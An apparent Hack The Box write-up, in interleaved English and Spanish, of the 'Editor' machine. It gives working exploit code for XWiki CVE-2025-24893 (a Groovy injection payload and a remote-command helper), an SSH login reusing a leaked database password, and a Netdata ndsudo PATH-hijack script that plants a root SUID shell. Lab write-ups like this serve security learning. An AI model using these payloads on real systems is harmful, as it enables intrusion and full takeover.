Editor
Executive summary — Editor combines an unauthenticated RCE in XWiki (CVE-2025-24893: the guest-accessible
SolrSearchsearch macro evaluates its parameter as wiki syntax, letting an attacker break out of context and inject a{{groovy}}macro that runs on the server) with a classic password reuse into the real SSH account. The final escalation is CVE-2024-32019: a$PATHhijack against Netdata's SUIDndsudobinary, with a non-obvious twist — a bash helper doesn't work, because bash itself drops the inherited privilege; an interpreter that doesn't enforce that protection is needed instead.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.231.23 |
Attack map
[8080] XWiki 15.10.8 — unauthenticated SolrSearch macro
│ CVE-2025-24893 — wiki syntax injection → {{groovy}} macro → RCE
▼
[RCE] xwiki (uid 997)
│ MySQL password in hibernate.cfg.xml reused over SSH
▼
[SSH] oliver@editor.htb (user.txt)
│ oliver in the netdata group → SUID ndsudo resolved via $PATH
│ CVE-2024-32019 — bash helper fails (drops euid); Python does not
▼
[ROOT] malicious Python helper via $PATH → root-owned SUID bash → root.txt
1. Reconnaissance
The lab environment didn't allow writing to
/etc/hostswithoutsudo, so most enumeration was done directly against the IP, setting theHost:header by hand wherever it mattered:
echo "10.129.231.23 editor.htb" | sudo tee -a /etc/hosts
ping -c 3 10.129.231.23
64 bytes from 10.129.231.23: icmp_seq=3 ttl=63 time=97.4 ms
TTL 63 (from the 64 band) confirms Linux with no significant intermediate hops.
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN nmap_allports.txt 10.129.231.23
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
nmap -sT -sCV -p22,80,8080 -Pn -oN nmap_services.txt 10.129.231.23
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-robots.txt: 50 disallowed entries ... /xwiki/bin/...
|_http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.231.23:8080/xwiki/bin/view/Main/
Two clear clues: port 80 redirects to
editor.htb(virtual hosting in play), and port 8080'srobots.txtgives away by itself that this is an XWiki instance running on Jetty — without even opening the site.
curl -s -H "Host: editor.htb" http://10.129.231.23/ -o editor_index.html
grep -oiE '<title>[^<]*' editor_index.html
<title>Editor - SimplistCode Pro
Port 80 is a static Vite-style SPA with nothing directly exploitable — the real vector is XWiki, so its exact version is confirmed first via the unauthenticated REST endpoint:
curl -s "http://10.129.231.23:8080/xwiki/rest/"
<xwiki ...><version>15.10.8</version></xwiki>
XWiki 15.10.8 — the version affected by CVE-2025-24893 (vulnerable range: < 15.10.11 and < 16.4.1).
Resumen ejecutivo — Editor combina una RCE no autenticada en XWiki (CVE-2025-24893: la macro de búsqueda
SolrSearch, accesible a cualquier invitado, evalúa su parámetro como sintaxis wiki, lo que permite escapar del contexto e inyectar una macro{{groovy}}ejecutada en el servidor) con una clásica reutilización de contraseña hacia la cuenta SSH real. La escalada final es CVE-2024-32019: un secuestro de$PATHsobre el binario SUIDndsudode Netdata, con un matiz poco intuitivo — un helper escrito en bash no sirve para explotarlo, porque el propio bash renuncia al privilegio heredado; hace falta un intérprete que no aplique esa protección.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.231.23 |
Mapa del ataque
[8080] XWiki 15.10.8 — macro SolrSearch accesible sin autenticar
│ CVE-2025-24893 — inyección de sintaxis wiki → macro {{groovy}} → RCE
▼
[RCE] xwiki (uid 997)
│ Contraseña de MySQL en hibernate.cfg.xml reutilizada por SSH
▼
[SSH] oliver@editor.htb (user.txt)
│ oliver ∈ grupo netdata → ndsudo (SUID root) resoluble vía $PATH
│ CVE-2024-32019 — helper en bash falla (descarta el euid); Python no
▼
[ROOT] helper Python malicioso vía $PATH → bash SUID propiedad de root → root.txt
1. Reconocimiento
El laboratorio no permitía escribir en
/etc/hostssinsudo, así que gran parte de la enumeración se hizo directamente contra la IP, fijando la cabeceraHost:a mano donde hacía falta:
echo "10.129.231.23 editor.htb" | sudo tee -a /etc/hosts
ping -c 3 10.129.231.23
64 bytes from 10.129.231.23: icmp_seq=3 ttl=63 time=97.4 ms
TTL 63 (banda de 64) confirma un Linux sin saltos intermedios significativos.
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN nmap_allports.txt 10.129.231.23
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
nmap -sT -sCV -p22,80,8080 -Pn -oN nmap_services.txt 10.129.231.23
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-robots.txt: 50 disallowed entries ... /xwiki/bin/...
|_http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.231.23:8080/xwiki/bin/view/Main/
Dos pistas claras: el puerto 80 redirige a
editor.htb(hay virtual hosting), y elrobots.txtdel puerto 8080 delata por sí solo que se trata de una instancia XWiki corriendo sobre Jetty — sin necesidad de abrir el sitio siquiera.
curl -s -H "Host: editor.htb" http://10.129.231.23/ -o editor_index.html
grep -oiE '<title>[^<]*' editor_index.html
<title>Editor - SimplistCode Pro
El puerto 80 es un sitio estático tipo SPA (Vite) sin funcionalidad explotable directa — el vector real está en XWiki, así que confirmamos su versión exacta antes de nada por el endpoint REST, que no requiere autenticación:
curl -s "http://10.129.231.23:8080/xwiki/rest/"
<xwiki ...><version>15.10.8</version></xwiki>
XWiki 15.10.8 — versión afectada por CVE-2025-24893 (rango vulnerable: < 15.10.11 y < 16.4.1).
2. Foothold — CVE-2025-24893 (unauthenticated RCE in XWiki)
Component: the SolrSearch macro, meant to serve search results as an RSS feed, reachable with no authentication because XWiki lets guests search public content.
Root cause: that RSS search's
textparameter isn't treated as plain text — it's evaluated as wiki syntax, the same markup language used to edit pages. A guest can close the search context with}}}and inject any valid wiki macro afterwards, including{{groovy}}, which XWiki runs as real Groovy/Java code server-side. It's essentially the same underlying flaw as SSTI: mixing user data with a language that also knows how to execute code.
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
}}}{{async async=false}}{{groovy}} <GROOVY_CODE> {{/groovy}}{{/async}}
async=false matters: it forces the macro to run synchronously with its result landing in the HTTP response, instead of being queued in the background.
PAYLOAD='}}}{{async async=false}}{{groovy}}println("MARKER_"+(7*7)){{/groovy}}{{/async}}'
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
curl -s "http://10.129.231.23:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=$ENC" | grep -a MARKER
}}}MARKER_49
7*7 evaluates to 49 inside the response ⇒ Groovy execution confirmed. From here, a bash helper automates running system commands, wrapping the output in markers so it can be cleanly extracted from the RSS feed (which comes back with unescaped HTML entities):
runcmd() {
local CMD="$1"
local PAYLOAD='}}}{{async async=false}}{{groovy}}println("CMDOUT_START\n"+["bash","-c","'"$CMD"'"].execute().text+"\nCMDOUT_END"){{/groovy}}{{/async}}'
local ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
curl -s "http://10.129.231.23:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=$ENC" \
| python3 -c "import sys,html,re; d=sys.stdin.read(); d=re.sub(r'<[^>]+>','',d); d=html.unescape(d); m=re.search(r'CMDOUT_START(.*?)CMDOUT_END',d,re.S); print(m.group(1).strip() if m else '[no output]')"
}
runcmd 'id; whoami; hostname'
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
xwiki
editor
RCE confirmed as the xwiki user (the Java application-server process, not a human account).
runcmd 'ls -la /home'
drwxr-x--- 3 oliver oliver 4096 Jul 8 2025 oliver
The user oliver exists, but their
$HOMEis mode750— not readable byxwiki. Their credentials have to come from somewhere else.
3. Lateral movement — xwiki → oliver
XWiki stores its database connection credentials in plain text in hibernate.cfg.xml — a standard Hibernate/ORM config file, an obvious target to check after any RCE on a Java app:
runcmd "grep -riE 'connection.username|connection.password' /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml"
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?...</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
That application database password turns out to be reused, verbatim, for the real
oliveroperating-system account — the single most common lateral-movement pattern after any foothold: any credential found in a config file is worth trying against SSH.
ssh oliver@10.129.231.23 # password: theEd1t0rTeam99
The lab's Kali install didn't have sshpass; the login was automated with pexpect to answer the password prompt:
import pexpect
child = pexpect.spawn("ssh -o StrictHostKeyChecking=no oliver@10.129.231.23 'id; cat ~/user.txt'", encoding='utf-8')
i = child.expect(['password:', 'yes/no'])
if i == 1:
child.sendline('yes'); child.expect('password:')
child.sendline('theEd1t0rTeam99')
child.expect(pexpect.EOF)
print(child.before)
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
cat ~/user.txt
52ee6143185781ac843efab631a6bd49
🚩 user.txt: 52ee6143185781ac843efab631a6bd49
Key fact for the escalation, already visible in the group list: oliver belongs to the
netdatagroup (gid 999).
4. Privilege escalation — oliver to root (CVE-2024-32019)
echo 'theEd1t0rTeam99' | sudo -S -l
Sorry, user oliver may not run sudo on editor.
With no sudo, the vector has to come from the netdata group:
netdata -v
netdata v1.45.2
grep netdata /etc/passwd
id netdata
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
uid=996(netdata) gid=999(netdata) groups=999(netdata),4(adm),13(proxy),120(docker)
find / -name ndsudo 2>/dev/null
ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 ndsudo
ndsudois SUID root, owned byroot:netdataand runnable only by root or members of thenetdatagroup — which already includes oliver. It's a helper Netdata uses to run privileged hardware-diagnostic tools (nvme,megacli,arcconf,smartctl…).
strings /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo | grep -A2 nvme
nvme-list
list --output-format=json
nvme
CVE-2024-32019: to locate those hardware binaries,
ndsudosearches for them through the$PATHenvironment variable instead of using absolute paths — and$PATHis controlled by whoever invokes the program. Affects Netdata < 1.45.3 and < 1.46.0; the 1.45.2 installed here is vulnerable.
First attempt, with a bash helper:
mkdir -p /tmp/pe
printf '#!/bin/bash\ncp /bin/bash /tmp/pe/rootbash; chmod 4755 /tmp/pe/rootbash\n' > /tmp/pe/nvme
chmod +x /tmp/pe/nvme
PATH=/tmp/pe:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
ls -la /tmp/pe/rootbash
-rwsr-xr-x 1 oliver oliver ... rootbash <- owned by oliver, not root
The resulting binary belongs to oliver, not root: the SUID bit was useless here. Why it fails:
ndsudodoes start witheuid=0(thanks to its SUID bit) and doesexecve()the helper — but the helper is a#!/bin/bashscript, and bash, on noticing itseuid(0) doesn't match itsruid(1000), voluntarily drops the inherited privilege, settingeuidback toruidbefore running a single line of the script (unless invoked explicitly with-p). That's a deliberate bash security protection against exactly this scenario — not a flaw in the exploit, but the reason a different interpreter is needed.
printf '#!/bin/bash\nid > /tmp/pe/out.txt 2>&1\n' > /tmp/pe/nvme
PATH=/tmp/pe:$PATH ndsudo nvme-list
cat /tmp/pe/out.txt
uid=1000(oliver) gid=1000(oliver) ... <- bash dropped euid=0
Confirmed by the helper reporting its own id: no compiler available on the target (gcc/cc missing), but python3 and perl are — interpreters that don't enforce that privilege-dropping protection:
which gcc cc clang # empty
which python3 perl # /usr/bin/python3 /usr/bin/perl
rm -rf /tmp/pe; mkdir -p /tmp/pe
cat > /tmp/pe/nvme <<'EOF'
#!/usr/bin/python3
import os
os.setgid(0)
os.setuid(0)
os.system("cp /bin/bash /tmp/pe/rootbash; chmod 4755 /tmp/pe/rootbash")
EOF
chmod +x /tmp/pe/nvme
PATH=/tmp/pe:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
ls -la /tmp/pe/rootbash
-rwsr-xr-x 1 root root 1396520 ... rootbash <- now owned by root
Why it works:
ndsudo(witheuid=0) doesexecve()on/tmp/pe/nvme; the kernel, seeing the#!/usr/bin/python3shebang, starts the interpreter inheritingeuid=0— unlike bash, Python doesn't drop it automatically.os.setuid(0)/os.setgid(0)explicitly setruid=euid=saved=0, and from thereos.system()runs as full root, creating a copy ofbashthat is SUID and root-owned.
/tmp/pe/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(oliver) gid=1000(oliver) euid=0(root) groups=1000(oliver),999(netdata)
8250c2931c323ed822fb7a456ec30b45
The
-pflag is the other required half: it tells bash not to drop the privilege of the freshly created SUID binary (without it, bash would dropeuidback toruidagain, exactly like the first failed attempt).
🚩 root.txt: 8250c2931c323ed822fb7a456ec30b45
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | XWiki 15.10.8 (SolrSearch macro) | CVE-2025-24893 — wiki syntax injection → unauthenticated {{groovy}} macro | RCE as xwiki |
| Lateral movement | XWiki's hibernate.cfg.xml | Plaintext DB password reused on the real OS account | SSH as oliver (user.txt) |
| PrivEsc | Netdata's ndsudo (SUID root, netdata group) | CVE-2024-32019 — binaries resolved via $PATH instead of absolute paths | Root (root.txt) |
Lessons learned
- Programmatic wiki macros (Groovy, Velocity…) reachable by guests are RCE waiting to happen: any engine that evaluates user input as the same language it can also execute code in is, in essence, SSTI under a different name.
- Never reuse an application database password for a real system account: config files like
hibernate.cfg.xml/.envare among the first things to check after any foothold, and their contents are worth trying against SSH and any other exposed service. - A SUID binary that resolves its dependencies via
$PATHinstead of absolute paths is hijackable by anyone who controls its execution environment — no need to touch the binary itself, just control what it finds first. - Not every bash-shebang SUID helper grants real root: bash deliberately drops the inherited
euidwhen it doesn't matchruid— a security protection, not an incidental obstacle. It takes an interpreter that doesn't enforce it (Python, Perl) or a compiled binary, followed bybash -pto preserve the privilege once recovered. - Belonging to an innocuous-looking service group (like
netdata) can be the only step between a normal user and root if that group has access to a vulnerable SUID binary — worth systematically checking the groups of any compromised user.
2. Foothold — CVE-2025-24893 (RCE no autenticada en XWiki)
Componente: la macro SolrSearch, pensada para ofrecer resultados de búsqueda como feed RSS, y accesible sin autenticación porque XWiki permite a los invitados buscar contenido público.
La causa raíz: el parámetro
textde esa búsqueda RSS no se trata como texto plano, sino que se evalúa como sintaxis wiki — el mismo lenguaje de marcado con el que se editan las páginas. Un invitado puede cerrar el contexto de búsqueda con}}}e inyectar a continuación cualquier macro wiki válida, incluida{{groovy}}, que XWiki ejecuta como código Groovy/Java real en el servidor. Es, en esencia, el mismo problema de fondo que una plantilla SSTI: mezclar datos de usuario con un lenguaje que también sabe ejecutar código.
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
}}}{{async async=false}}{{groovy}} <CODIGO_GROOVY> {{/groovy}}{{/async}}
async=false es importante: obliga a que la macro se ejecute de forma síncrona y su resultado quede en la respuesta HTTP, en vez de encolarse en segundo plano.
PAYLOAD='}}}{{async async=false}}{{groovy}}println("MARKER_"+(7*7)){{/groovy}}{{/async}}'
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
curl -s "http://10.129.231.23:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=$ENC" | grep -a MARKER
}}}MARKER_49
7*7 se evalúa a 49 dentro de la respuesta ⇒ ejecución de Groovy confirmada. A partir de aquí, un helper en bash automatiza el lanzamiento de comandos del sistema, envolviendo la salida entre marcadores para poder extraerla limpiamente del feed RSS (que llega con entidades HTML sin escapar):
runcmd() {
local CMD="$1"
local PAYLOAD='}}}{{async async=false}}{{groovy}}println("CMDOUT_START\n"+["bash","-c","'"$CMD"'"].execute().text+"\nCMDOUT_END"){{/groovy}}{{/async}}'
local ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
curl -s "http://10.129.231.23:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=$ENC" \
| python3 -c "import sys,html,re; d=sys.stdin.read(); d=re.sub(r'<[^>]+>','',d); d=html.unescape(d); m=re.search(r'CMDOUT_START(.*?)CMDOUT_END',d,re.S); print(m.group(1).strip() if m else '[no output]')"
}
runcmd 'id; whoami; hostname'
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
xwiki
editor
RCE confirmada como el usuario xwiki (el proceso Java del servidor de aplicaciones, no un usuario humano).
runcmd 'ls -la /home'
drwxr-x--- 3 oliver oliver 4096 Jul 8 2025 oliver
Existe el usuario oliver, pero su
$HOMEtiene permisos750— no legible porxwiki. Hace falta encontrar sus credenciales por otra vía y pivotar.
3. Movimiento lateral — xwiki → oliver
XWiki guarda las credenciales de conexión a su base de datos en texto plano en hibernate.cfg.xml — un fichero de configuración estándar de Hibernate/ORM, candidato obligado a revisar en cualquier RCE sobre una app Java:
runcmd "grep -riE 'connection.username|connection.password' /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml"
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?...</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
Esa contraseña de la base de datos de la aplicación resulta estar reutilizada, tal cual, para la cuenta real del sistema operativo
oliver— el patrón de movimiento lateral más común tras cualquier foothold: cualquier credencial hallada en un fichero de configuración merece probarse contra SSH.
ssh oliver@10.129.231.23 # contraseña: theEd1t0rTeam99
Kali no traía sshpass instalado en el entorno del laboratorio; el login se automatizó con pexpect para responder al prompt de contraseña:
import pexpect
child = pexpect.spawn("ssh -o StrictHostKeyChecking=no oliver@10.129.231.23 'id; cat ~/user.txt'", encoding='utf-8')
i = child.expect(['password:', 'yes/no'])
if i == 1:
child.sendline('yes'); child.expect('password:')
child.sendline('theEd1t0rTeam99')
child.expect(pexpect.EOF)
print(child.before)
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
cat ~/user.txt
52ee6143185781ac843efab631a6bd49
🚩 user.txt: 52ee6143185781ac843efab631a6bd49
Dato clave para la escalada, visible ya en la lista de grupos: oliver pertenece al grupo
netdata(gid 999).
4. Escalada de privilegios — oliver → root (CVE-2024-32019)
echo 'theEd1t0rTeam99' | sudo -S -l
Sorry, user oliver may not run sudo on editor.
Sin sudo, el vector tiene que venir del grupo netdata:
netdata -v
netdata v1.45.2
grep netdata /etc/passwd
id netdata
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
uid=996(netdata) gid=999(netdata) groups=999(netdata),4(adm),13(proxy),120(docker)
find / -name ndsudo 2>/dev/null
ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 ndsudo
ndsudoes SUID root, propiedad deroot:netdatay ejecutable solo por root o por miembros del gruponetdata— que ya incluye a oliver. Es un helper que Netdata usa para lanzar herramientas de diagnóstico de hardware con privilegios (nvme,megacli,arcconf,smartctl…).
strings /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo | grep -A2 nvme
nvme-list
list --output-format=json
nvme
CVE-2024-32019: para localizar esos binarios de hardware,
ndsudolos busca a través de la variable$PATHen vez de usar rutas absolutas — y el$PATHlo controla quien invoca el programa. Afecta a Netdata < 1.45.3 y < 1.46.0; la 1.45.2 instalada aquí es vulnerable.
Primer intento, con un helper en bash:
mkdir -p /tmp/pe
printf '#!/bin/bash\ncp /bin/bash /tmp/pe/rootbash; chmod 4755 /tmp/pe/rootbash\n' > /tmp/pe/nvme
chmod +x /tmp/pe/nvme
PATH=/tmp/pe:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
ls -la /tmp/pe/rootbash
-rwsr-xr-x 1 oliver oliver ... rootbash <- propietario oliver, no root
El binario resultante pertenece a oliver, no a root: el SUID no sirvió de nada. Por qué falla:
ndsudosí arranca coneuid=0(gracias a su bit SUID) y haceexecve()del helper — pero el helper es un script con shebang#!/bin/bash, y bash, al detectar que sueuid(0) no coincide con suruid(1000), renuncia voluntariamente al privilegio heredado y baja eleuidalruidantes de ejecutar una sola línea del script (salvo que se invoque explícitamente con-p). Es una protección de seguridad deliberada de bash contra precisamente este escenario — no un fallo del exploit, sino el motivo por el que hace falta otro intérprete.
printf '#!/bin/bash\nid > /tmp/pe/out.txt 2>&1\n' > /tmp/pe/nvme
PATH=/tmp/pe:$PATH ndsudo nvme-list
cat /tmp/pe/out.txt
uid=1000(oliver) gid=1000(oliver) ... <- bash descartó el euid=0
Confirmado con el propio helper reportando su id: ningún compilador disponible en el objetivo (gcc/cc ausentes), pero sí python3 y perl — intérpretes que no aplican esa protección de abandono de privilegios:
which gcc cc clang # vacío
which python3 perl # /usr/bin/python3 /usr/bin/perl
rm -rf /tmp/pe; mkdir -p /tmp/pe
cat > /tmp/pe/nvme <<'EOF'
#!/usr/bin/python3
import os
os.setgid(0)
os.setuid(0)
os.system("cp /bin/bash /tmp/pe/rootbash; chmod 4755 /tmp/pe/rootbash")
EOF
chmod +x /tmp/pe/nvme
PATH=/tmp/pe:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
ls -la /tmp/pe/rootbash
-rwsr-xr-x 1 root root 1396520 ... rootbash <- ahora sí, propietario root
Por qué funciona:
ndsudo(coneuid=0) haceexecve()de/tmp/pe/nvme; el kernel, al ver el shebang#!/usr/bin/python3, arranca el intérprete heredando eleuid=0— Python, a diferencia de bash, no lo descarta automáticamente.os.setuid(0)/os.setgid(0)fijan explícitamenteruid=euid=saved=0, y a partir de ahíos.system()corre como root pleno, creando una copia debashSUID cuyo propietario ya es root.
/tmp/pe/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(oliver) gid=1000(oliver) euid=0(root) groups=1000(oliver),999(netdata)
8250c2931c323ed822fb7a456ec30b45
La flag
-pde bash es la otra mitad necesaria: le dice a bash que no descarte el privilegio del binario SUID recién creado (sin ella, volvería a bajar eleuidaruid, igual que en el primer intento fallido).
🚩 root.txt: 8250c2931c323ed822fb7a456ec30b45
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | XWiki 15.10.8 (macro SolrSearch) | CVE-2025-24893 — inyección de sintaxis wiki → macro {{groovy}} sin autenticar | RCE como xwiki |
| Movimiento lateral | hibernate.cfg.xml de XWiki | Contraseña de BD en texto plano reutilizada en la cuenta OS real | SSH como oliver (user.txt) |
| PrivEsc | ndsudo de Netdata (SUID root, grupo netdata) | CVE-2024-32019 — resolución de binarios vía $PATH en vez de rutas absolutas | Root (root.txt) |
Lecciones aprendidas
- Las macros programáticas de un wiki (Groovy, Velocity…) accesibles a invitados son RCE en potencia: cualquier motor que evalúe entrada de usuario como el mismo lenguaje con el que también puede ejecutar código es, en esencia, una plantilla SSTI con otro nombre.
- Nunca reutilizar la contraseña de la base de datos de una aplicación para una cuenta real del sistema: ficheros de configuración tipo
hibernate.cfg.xml/.envson de lo primero que hay que revisar tras cualquier foothold, y su contenido debe probarse contra SSH y cualquier otro servicio expuesto. - Un binario SUID que resuelve sus dependencias vía
$PATHen vez de rutas absolutas es secuestrable por cualquiera que controle su entorno de ejecución — no hace falta tocar el binario en sí, basta con controlar qué encuentra primero. - No todo helper SUID con shebang de bash da un root real: bash descarta deliberadamente el
euidheredado cuando no coincide con elruid— una protección de seguridad, no un obstáculo casual. Hace falta un intérprete que no la aplique (Python, Perl) o un binario compilado, y luegobash -ppara preservar el privilegio ya recuperado. - Pertenecer a un grupo de servicio aparentemente inocuo (como
netdata) puede ser el único paso entre un usuario normal y root si ese grupo tiene acceso a un binario SUID vulnerable — vale la pena revisar sistemáticamente los grupos de cualquier usuario comprometido.